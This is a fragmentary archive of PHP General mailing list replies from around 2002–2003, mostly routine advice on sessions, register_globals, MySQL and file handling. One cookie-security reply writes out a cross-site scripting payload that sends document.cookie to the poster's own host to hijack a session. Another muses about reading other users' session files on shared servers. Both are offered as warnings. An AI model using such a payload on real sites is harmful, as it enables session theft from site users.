Search before you post. I don't know the answer, but this turned up on
google when searching for "generate rtf with PHP"
http://paggard.dlight.ru/rtf_gen/
Yeah, it costs, but it looks good. Help a programmer out!
I'm sure there are others. Look on hotscripts.com and sour
Depends what you're after. Your query should always return exactly the
data you are after. Your tables should be arranged so that is possible.
---John Holmes...
> -Original Message-
> From: Jed Verity [mailto:[EMAIL PROTECTED]]
> Sent: Saturday, June 29, 2002 5:10 P
e the documentation.
---John Holmes...
> -Original Message-
> From: Michal Dvoracek [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, June 30, 2002 7:37 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP] bug in sessions
>
> Hello,
>
> i discovered bug in sessions:
>
> w
you could do something like ,
which may be easier for someone with an HTML background to understand.
It's up to you.
---John Holmes...
> -Original Message-
> From: Justin French [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, June 30, 2002 12:15 PM
> To: Tim Stoop; [EMAIL PRO
Time Functions of the MySQL manual.
---John Holmes...
> -Original Message-
> From: Timothy J. Luoma [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, June 30, 2002 10:31 PM
> To: PHP Mailing List
> Subject: [PHP] checking date is not greater than today
>
>
> I am tryin
You're not incrementing $count within your while loop. So it's staying
at zero the whole time...
---John Holmes...
> -Original Message-
> From: Leif K-Brooks [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, July 02, 2002 4:31 AM
> To: [EMAIL PROTECTED]
> Subjec
n likely a register_globals problem. You need to
update your code or tell them to turn on register_globals in php.ini,
since it now defaults to off in new versions of PHP.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
27;re serving a
smarter crowd, they may be hesitant to submit their form data, thinking
it's going over an unsecured link...
---John Holmes...
> -Original Message-
> From: B.C. Lance [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, July 02, 2002 1:13 PM
> To: [EMAIL PROTECTED]
Hi, I installed apache with support of php as i found on the online
manual at php.net.
I created a simple php file named hello.php
PHP Test Page
"; ?>
and i put the file in my htdocs directory i restarted apache and when
i'm trying to access the page http://localhost/hello.php as a res
Thanx all for your help it worked..!!! :)
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
e(n<i)
{
document.form1.OptionList[n].checked=true;
n=n+1;
}
}
Option 1
Option 2
Option 3
/This is error line
Regards
John
- Original Message -
From: "Balaji Ankem" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, July 04, 2002 12:04 PM
Sub
ay = split(";", $HTTP_USER_AGENT);
$ie_version = subStr($agent_array[1], 6,7);
}
Regards
John
- Original Message -
From: "JJ Harrison" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Friday, July 05, 2002 3:25 PM
Subject: Re: [PHP] Is there an easy wa
Hi Liviu
You also need to unregister the session var using session_unregister - unset
will just unset the global.
http://www.php.net/manual/en/function.session-unregister.php
Rgds
John
- Original Message -
From: "Liviu Andrei" <[EMAIL PROTECTED]>
To: <[EMAIL PROTE
Hi Roger
Try this:
$str = "sometext sometext [emoticon01] sometext [emoticon23] sometext";
$new_str = preg_replace("/\[emoticon(\d\d)\]/", "/image/emot/\\1.gif",
$str);
print $new_str;
Seems to work?
Rgds
John
- Original Message -
From: "R
> >ending in .php and add the same thing for .shtml. Then, both will be
> >parsed by PHP first.
>
> But then will it be parsed by SSI second, as we would like? Doesn't
seem
> to...
If you're using PHP, you don't need SSI. PHP can do whatever you are
doing i
Try using backticks, and you don't need spaces after -u and -p
$result = `MySQL -uuser -ppassword databasename < filename.sql`
Note that if it succeeds, nothing will be returned. Same as when you run
the command on the command line.
---John Holmes...
> -Original Message-
&g
millwOrm
There shouldn't be "." (full stop) before $strChar on line 10:
$function_ret=ConvertBin(.$strChar);
You also have issues on line 30 (the for loop).
Rgds
John
- Original Message -
From: "millw0rm" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED
k you'd be best off with a human deciding these things,
though, maybe with a little PHP help. If you make it all automated,
what's stopping me from posting
1997_White_Chevy_S10_Loaded_Power_Everything_$2000_Call_555-1212_for_inf
o and only being charged 1 cent for it??
---John Holmes
> DOes anyone know how to build a reminder application on:
>
> a) identified users
> b) Sorting users' reminders??
Yes.
---John Holmes...
http://homepages.tesco.net/~J.deBoynePollard/FGA/questions-with-yes-or-n
o-answers.html
--
PHP General Mailing List (http:/
> ðÒÉ×ÅÔ!
Gesundheit
> 1LT John W. Holmes wrote:
> > How about
> >
> > SELECT * FROM table WHERE $current_shot BETWEEN start_shot AND
end_shot
>
> *if* that was on Oracle *and* the table was big you'd notice that your
> performance goes down. Don't as
you've got how long it took the page to be created I
think PEAR has a module that provides a nice interface for doing this
and I'm sure there are others.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Not possible with HTTP, as far as I know. The file is simply sent,
there's no communication back and forth.
---John Holmes...
> -Original Message-
> From: S. [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, July 11, 2002 2:45 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP
x27; like the example above, then
you'll have $Next_x and $Next_y (or the equiv. in the _GET or _POST
array). The variables will hold the x/y value of where the image was
clicked. You can just check to see if one of those variables is set.
---John Holmes...
--
PHP General Mailing List
Put quotes around your value
-Original Message-
> From: Mark Colvin [mailto:[EMAIL PROTECTED]]
> Sent: Friday, July 12, 2002 6:10 AM
> To: Php (E-mail)
> Subject: [PHP] Displaying Database Results
>
> I have a php script that queries a MySQL database and I loop through
the
> results dis
> I have started a new website devoted strictly to discussing
development
> with
> PHP. If anyone is interested, you can see it at
> http://www.phpdiscuss.com.
Wow...a forum. Is that vBulletin your using? Shouldn't you be giving
them credit somewhere??
---John Holmes...
s them in my PHP script? I know I have to use
the
> $_POST[] array, but this creates a multidiminsional array, yes? do i
> access
> it like $_POST[checkbox[1]]?? or $_POST[checkbox][1]??
Yes, the second one, only with single quotes.
$_POST['checkbox][1]
Note that arrays start at
ter to the Tables on my Website mySQL.
Just use mysqldump, like someone else suggested. Dump your local
database, upload it, and import it.
Any PHP solution isn't going to be 100% dependable, because you will run
into the 30 second time limit on scripts. You can't really get that many
queri
emailed to someone? If so, how
would
> this be done?
Instead of using print or echo to display the HTML table, just assign it
all to a variable. Then you can print it out later, or mail it, or
whatever.
Or use output buffering...
---John Holmes...
--
PHP General Mailing List (http://www.php
I
> guess not
Exactly, it's the small things that count. Even though it's small, not
giving credit to the free program you're using and didn't write, is
enough to make me not want to use the site...
Give credit where credit is due...
---John Holmes...
--
PHP General
e'.
Do you always upgrade programs without reading to see what changes have
been made? If so, I have this update program that I'll send you...just
run it for me, okay?
Check your register_globals setting, like the others said, and read the
changelog for your new installation of PHP.
---
Is the new window your opening secure? Is it an HTTPS URL? Either way,
sound like a client side issue to me...
---John Holmes...
> -Original Message-
> From: Pedro Garre [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, July 14, 2002 9:13 AM
> To: [EMAIL PROTECTED]
> Subject
else {
> ob_start();
> }
> but the compression is never used..
> obstart is always used withouth the gz_handler
> is there a way around this? or am I doing something
> wrong here?
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Also see wordwrap( ).
"Blue Presley" <[EMAIL PROTECTED]> wrote in message
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> the function you are looking for is called nl2br(). Translated it means
> 'new line to .' when you pull you text from your database run it
> through this and it will be corr
h
variables are available.
---John Holmes...
> -Original Message-
> From: Gabor Niederlaender [mailto:[EMAIL PROTECTED]]
> Sent: Monday, July 15, 2002 8:39 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP] MSSQL and NT
>
> Hi all!
>
>
> I went after my problem with the
. Set that at whatever and IE will shutdown after that many
minutes. Seems to work well if you can't get AT working...
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
> Hi,
> Can anyone tell me steps for installing MYSQL on
> windows ??
Umm...download, unzip, run the setup program. How hard is that?
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
You could use mktime() with date, too...
$first_day = date("w",mktime(0,0,1,$month,1,$year));
Set your $month and $year accordingly.
---John Holmes...
> -Original Message-
> From: Attila [mailto:[EMAIL PROTECTED]]
> Sent: Monday, July 15, 2002 8:07 PM
> To: [EMAI
to update it, she just updates the word document, and
resaves it as HTML format in the web root...
---John Holmes...
> -Original Message-
> From: Glenn Antoine [mailto:[EMAIL PROTECTED]]
> Sent: Monday, July 15, 2002 5:19 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] On
om/search?sourceid=navclient&q=OOH+forms
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
How about a little reading of the manual...
Use $_GET for the URL or $_REQUEST if you want it to cover get, post,
and cookie data...
---John Holmes...
> -Original Message-
> From: Peter Stöcker [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, July 16, 2002 7:15 AM
> To: [EMA
PHP loads everything up before it starts doing anything. It's only going
to execute the code it needs to, though, of course. I asked this
question a while ago and got that answer. The process of loading all of
the code is minimal, though, compared the actually executing the code.
---John H
How about using the virtual() function?
www.php.net/virtual
---John Holmes...
> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, July 16, 2002 7:57 PM
> To: php-general
> Subject: [PHP] calling a cgi script from php
>
> Hel
w the uid AND md5()'d pwd.
Or steal it. :)
I hope you have checked your site for any cross-site scripting
vulnerabilities. This is exactly where vulnerabilities like this come
into play...
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
t%3E
Now, how about instead of just executing alert("Hi"), I do a
location.href='www.myserver.com?var='+document.cookie; and send myself
your cookie. Then I just simply make my cookie match yours, and poof,
I'm you. :)
It all comes down to validating user input and never showin
ed to the username and
password. Just use uniqid() and md5() to create a unique id for the use,
save it in their table, and use that in the cookie. If you base it off
of something, it makes it easier to crack...
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
gt;
> > You don't, if you have anything to protect. If it's just for a forum
or
> > convenience and might just cause a little headache is someone's user
is
> > hijacked, then you can do it with a cookie.
>
> What about if the cookie was set under https / SSL
It
like that. You can use strtotime() instead of mktime() if you
want...
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
reated and make me an admin...
Like I said, I haven't tested it though. Safe mode might protect against
this, not sure. Anyone have any experience here?
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
environment to actually test this out
with, though...and it would require a lot of work from the hacker...but
what else do they have to do. Get a dedicated server...they really
aren't that expensive anymore.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
//now you have an array, $part[],
//that holds each element of the
//current line, do what you will
}
---John Holmes...
> -Original Message-
> From: Chris Crane [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, July 17, 2002 1:17 PM
> To: [EMAIL PROTECTED]
> Subject:
You can use exec(), as long as the user PHP is running as has permission
to execute the program...
---John Holmes...
> -Original Message-
> From: Noah Spitzer-Williams [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, July 17, 2002 1:20 PM
> To: [EMAIL PROTECTED]; [EMA
So? Use exec(). Use it twice if you have to. If you can run a command on
the command line, then you can run it through exec. Only difference is
if the user PHP is running as can run the command.
---John Holmes...
> -Original Message-
> From: Noah Spitzer-Williams [mailto:
I've downloaded the 4.0.6 to 4.1.1 patch but how do i install it?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Works fine for me on 4.2.1
You have to have at least 4.2.0, do you?
---John Holmes...
> -Original Message-
> From: Jimmy Brake [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, July 17, 2002 8:53 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] missing function? array_change_key
> hi,
>
> anyone have an opinion on postnuke versus geekware for a php-based
CMS?
>
> cheers,
> jaxon
No...I kind of prefer GeekLog... geeklog.sourceforge.net
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
session value is going to take precedence over
your local value you just calculated for $secretstring because you call
session_start() after it's been set.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
is there any better way i
dont
> know of? or does the 2 queries not mka emuch of a difference
You have to use two queries, so there's no getting around that. You
should be using count(*) in your first query, it'll make it faster.
SELECT COUNT(*) FROM table WHERE ...
---John Holmes.
t, including modules, blocks and
> themes.
Yeah, the Nukes do have a lot of development for them and a lot of
modules, but it makes them big and bloated. I like geeklog because it's
still small and clean. You can still mold it into something that works
for you...
---John Holmes...
--
PHP
Any ideas on why this won't work? It will only include("inc/entrance.php")
It never, no matter what the value of $mode, displays collection.php.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
confusing. There's no way to get "Spock" from the code. You only
get the number in the value attribute. If the user were to choose Spock
and McCoy, then you'd have:
$_POST['ineeddatacaptain'][0] --> 2
$_POST['ineeddatacaptain'][1] --> 4
It's up to the programmer to associate 2 with Spock, and 4 with McCoy.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
d to use session_register() or
the like. I would imagine that the older method would be depreciated
eventually. It's a whole lot easier to just treat sessions like a
variable without that whole register/unregister stuff.
The manual actually cautions against using session_register/unregister
if regist
tp://www.php.net/manual/en/configuration.php
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
by the same name in the session? If register_globals
is on, the session value could be overwriting the GET value.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
How are you testing whether the variables were passed or not? What
version of PHP are you using and is register_globals ON or OFF?
---John Holmes...
> -Original Message-
> From: Mike Mannakee [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, July 21, 2002 10:57 PM
> To: [EMA
files.
Includes are faster overall. If you already have a database connection
open for other things, then there won't be as much of an overhead for
using the database.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
$_GET['prod_ids'][0] --> 9 and $_GET['prod_qtys'][0] --> 1. Or,
$prod_ids[0] --> 9, etc, since register_globals is on.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
e later...
>
You need to have a separate file that creates your images.
Where file.php should create your image headers and send the data.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
using $variablename ?
You just have to call it once.
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
etc...
Put it into a function and the possible values into an array to make it
easier...
---John Holmes...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Anyone know of an open source, browser-based Point of Sale system?
-- John
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
erent
items?"
-- John
Chris Sherwood wrote:
a quick search on google revealed a few things
http://www.google.ca/search?q=browser+based+POS&ie=UTF-8&oe=UTF-8&hl=en&meta=
try that and see if any of those meet your requirements
Chris
- Original Message -
From: "
I need to use something like a session variable to make a variable available to an
existing form-invoked C++ program which takes as input a file being uploaded. Is this
even do-able ??If so, what am I missing here ???
The C++ prog used to use the REMOTE_USER env var set by the web server b
very quickly.
>
>oh and btw the correct way to set a cookie is with session_register(),
>$_SESSION is used for retrieval.
>
>John Bryan wrote:
>
>>I need to use something like a session variable to make a variable available to an
>>existing form-invoked C++ progra
On Tuesday, September 02, 2003, at 01:32PM, Ford, Mike [LSS] <[EMAIL PROTECTED]> wrote:
>On 02 September 2003 19:22, Raditha Dissanayake wrote:
>
>> Hi,
>>
>> Had a similar problem when building upload progress bar. Initially i
>> used cookies but that had a few minor hiccups. What you can do i
is it possible with PHP to download and open a remote tar.gz file?? I read
in the manual that it is, but it never seems to work for me.
I tried opening the file with fopen
fopen("zlib://http://www.site.com/update.tar.gz";, "r");
but it didnt work
Then I tried using the zlib functions but they jus
On Tuesday, September 02, 2003, at 02:04PM, Raditha Dissanayake <[EMAIL PROTECTED]>
wrote:
>Hello,
>If you use yes they will be part of the input
>stream. What i suggested was you have
> then you can
>retrieve the query string variable from the env. (at least this works
>with perl cgi and i
On Tuesday, September 02, 2003, at 01:55PM, CPT John W. Holmes <[EMAIL PROTECTED]>
wrote:
>From: "John Bryan" <[EMAIL PROTECTED]>
>
>> If so, the problem is that this file that is being uploaded
>> via the form to the program MyCppProg.exe gets sent
>
On Tuesday, September 02, 2003, at 02:04PM, Raditha Dissanayake <[EMAIL PROTECTED]>
wrote:
>Hello,
>If you use yes they will be part of the input
>stream. What i suggested was you have
> then you can
>retrieve the query string variable from the env. (at least this works
>with perl cgi and i
On Tuesday, September 02, 2003, at 05:12PM, Chris Shiflett <[EMAIL PROTECTED]> wrote:
>--- John Bryan <[EMAIL PROTECTED]> wrote:
>> So looks like I can't have it both ways, i.e. POST and GET
>
>Yes, you can.
>
>
>
>
>
>The script blah.php can re
it definately always only contains one file
"Curt Zirzow" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> * Thus wrote John Ryan ([EMAIL PROTECTED]):
> > is it possible with PHP to download and open a remote tar.gz file?? I
read
> > in the manual th
How can I provide a link which will log the current user out so that they
will be prompted again to login. I'm using frontpage authentication on an
apache server. I'm using PHP4 to build the pages.
Thanks,
--John
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, v
h usernames by clicking a link that would
accomplish the same thing that closing the browser does. Perhaps I need
clientside scripting for this?
Thanks,
--John
"Jay Blanchard" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
[snip]
How can I provide a link which will
This is kinda off topic, well.. depending on the answer.
I downloaded a ZIP file to my server, and want to open it. My version of PHP
wasnt compiled with the Zip uncompressing functions, otherwise Id do it with
php, so I was wondering if there was a linux-x86 binary that just opens zip
files!
John Ryan wrote:
This is kinda off topic, well.. depending on the answer.
I downloaded a ZIP file to my server, and want to open it. My version of PHP
wasnt compiled with the Zip uncompressing functions, otherwise Id do it with
php, so I was wondering if there was a linux-x86 binary that just
ive spent the last 2 hours looking for a solution. i was going to recompile
php with zip support for one file. THANK YOU!
"John Herren" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> John Ryan wrote:
> > This is kinda off topic, well.. depending on the answe
is there any way of seeing exactly what headers cURL sent in a transfer,
with PHP?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
i found out myself if anyone wants to know...
"John Ryan" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> is there any way of seeing exactly what headers cURL sent in a transfer,
> with PHP?
--
PHP General Mailing List (http://www.php.net/)
To un
sent to the site,
i saw my problem straight away, and modified the PHP script.
"Chris Shiflett" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> --- John Ryan <[EMAIL PROTECTED]> wrote:
> > is there any way of seeing exactly what headers cURL sent in a
>
hi,
i wanna upgrade php, but i dont have, and can never have root access on my
server, plus no gcc or anything, so is there any site with binaries of php
for linux-x86, with pretty much, all extras and modules!
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.p
No! That $15 million is mine! I feel so honoured that you have picked me!
Send me the details! Address them to
The Lodge
Canberra ACT
Australia
Perhaps I can fly over to meet you and your money. I have no suspicions
that you will kill me or anything!
Regards,
Bob Irwin
Server Admin & Web A
Is it possible with an Apache confiugartion file to redirect users, if their
browser sends a certain accept/type header, and somewhere else if not??
I dont want to do it with PHP
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
When I use for loops, at the start of each iteration, the variables hold the
values from the last loop.
First, is there an elegant way of clearing variables at the start of each
loop rather than using unset???! It just seems wrong.
Also, all my problems would be solved if variables in a for loop
your goal, a good book and mostly practice will get you there.
Consider that many of these "good books" you speak of are written by
people whom are speaking at the conference :)
John
--
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Cogges
password cookie without having to
ask whether or not they want to remember it again? How can I find out
when the current cookie expires?
Thanks, John
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
I'm just storing its hash. Then comparing it to the database hash. Is
that bad? Is there a good write-up somewhere discussing authentication
techniques that you could recommend?
Yahoo makes you reenter your password every time you reopen your
browser. I'll check other sites though. Thanks
Frank Tudor wrote:
It worked like a charmbut guess what. I can't create a
connection string to my database. Now I have to find a
solution
to get this website to work with globals on and mysql.
Register globals has nothing to do with making a connection to MySQL.
Post your code for the conne
Frank Tudor wrote:
I can run mysql from a command line.
What I create a connection string using my php.ini file I get
failure. mysql_connect() errors
My connection string code is very simple:
$link_id = mysql_connect("localhost", "username", "password");
$result = mysql_list_dbs($link_id);
$nu
e with
the
php_value "register_globals" "1"
or
php_flag "register_globals" "on"
it failes when i restart my web seerver in the httpd-perl.conf
file
Frank
--- John Nichel <[EMAIL PROTECTED]> wrote:
Frank Tudor wrote:
It worked like a charmb
Frank Tudor wrote:
Yes to the php-mysql rpm,
But listen I think it was the way it built the initial appach
php mysql configurations I don't think the php.ini refects an
accurate setup of my php mysql setup.
Frank
Let's get away from the php.ini for a moment. Being that you did
everything from R
Frank Tudor wrote:
Thanks for the response.
Ok with php.ini in the ect directory I get a
Call to undefined function: mysql_connect()
Without the php.ini file all my functions fail, because Mandrake
linux has all the latest and greatest apache php and mysql
stuff. so during that build (which d
801 - 900 of 6323 matches
Mail list logo